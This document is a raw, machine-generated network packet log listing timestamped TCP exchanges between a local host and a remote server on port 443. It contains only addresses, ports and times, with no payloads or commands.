Nov 29, 2024 15:45:28.042812109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.042850018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.048311949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.048330069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.048393965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.048401117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.048439980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.053503990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.053527117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.053596020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.053602934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.053642988 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.059104919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.059124947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.059189081 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.059197903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.059236050 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.067565918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.067583084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.067645073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.067652941 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.067692041 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.069840908 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.070179939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.070195913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.070251942 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.070259094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.070302963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.091260910 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.243669987 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.243697882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.243810892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.243824005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.243866920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.248480082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.248497009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.248569965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.248577118 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.248617887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.253998995 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.254014969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.254089117 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.254097939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.254133940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.259555101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.259571075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.259639978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.259649038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.259689093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.264724970 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.264741898 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.264822006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.264830112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.264873028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.270344019 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.270368099 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.270462036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.270468950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.270509958 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.275238037 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.275259972 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.275336981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.275345087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.275381088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.280666113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.280694008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.280764103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.280771017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.280807972 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.293219090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.453538895 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.453564882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.453603983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.453612089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.453665018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.453983068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.459187031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.459204912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.459268093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.459278107 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.459321022 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.464607000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.464622021 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.464687109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.464694023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.464735031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.470217943 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.470235109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.470297098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.470303059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.470343113 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.475419998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.475460052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.475513935 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.475522041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.475541115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.475550890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.480597973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.480618000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.480683088 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.480690002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.480730057 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.481719017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.485985994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.486001968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.486061096 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.486068010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.486104012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.491417885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.491436958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.491483927 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.491491079 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.491664886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.491666079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.508104086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.664824963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.664849043 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.664901018 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.664912939 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.664952040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.669706106 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.669723034 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.669775963 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.669784069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.669821978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.675204992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.675226927 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.675256968 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.675263882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.675333977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.680742025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.680758953 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.680802107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.680809975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.680850983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.685920954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.685936928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.685992956 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.686003923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.686044931 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.691500902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.691518068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.691559076 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.691565990 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.691596031 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.691615105 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.696445942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.696465969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.696502924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.696510077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.696542025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.696554899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.701884985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.701900959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.701936960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.701944113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.701972008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.701992989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.702033997 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.875443935 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.875478029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.875555038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.875565052 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.875612974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.880929947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.880945921 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.881004095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.881011963 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.881057978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.885904074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.885920048 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.885977983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.885986090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.886029005 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.891269922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.891285896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.891339064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.891345978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.891390085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.896579027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.896598101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.896668911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.896676064 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.896718979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.902139902 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.902157068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.902213097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.902223110 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.902262926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.907632113 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.907648087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.907705069 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.907715082 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.907752991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.909648895 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.912658930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.912674904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.912734985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.912748098 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:28.912787914 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:28.935806036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.086075068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.086097002 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.086193085 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.086206913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.086251974 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.091767073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.091804028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.091865063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.091871023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.091919899 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.096494913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.096510887 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.096563101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.096570969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.096611023 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.102166891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.102185965 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.102233887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.102241993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.102293015 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.107286930 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.107305050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.107357979 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.107367039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.107402086 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.112802982 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.112822056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.112869978 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.112879992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.112889051 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.112911940 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.118335009 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.118359089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.118395090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.118402004 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.118424892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.118443012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.123250008 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.123271942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.123327017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.123334885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.123374939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.296700001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.296726942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.296880960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.296894073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.296938896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.302212000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.302248001 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.302329063 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.302337885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.302370071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.307073116 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.307090998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.307174921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.307183981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.307225943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.312603951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.312638998 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.312702894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.312711000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.312750101 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.317867994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.317884922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.317948103 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.317955971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.317998886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.323323011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.323337078 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.323399067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.323405981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.323452950 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.328989983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.329024076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.329061985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.329068899 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.329099894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.329108953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.333828926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.333847046 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.333899975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.333908081 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.333950043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.334175110 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.507823944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.507848978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.507987976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.508004904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.508048058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.512636900 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.512655020 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.512726068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.512733936 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.514461040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.518002033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.518018007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.518100977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.518109083 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.518459082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.523572922 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.523592949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.523662090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.523669958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.526479006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.528794050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.528812885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.528862953 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.528871059 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.530462027 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.534547091 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.534565926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.534662008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.534671068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.534713030 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.539223909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.539242029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.539299965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.539307117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.539547920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.713450909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.713474989 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.713547945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.713558912 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.713603020 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.717678070 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.717694044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.717751980 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.717760086 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.718075037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.723159075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.723176003 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.723227024 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.723237038 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.723345995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.728730917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.728764057 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.728807926 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:29.728816986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:29.728842020 CET	49704	443	192.168.2.5	149.129.12.34
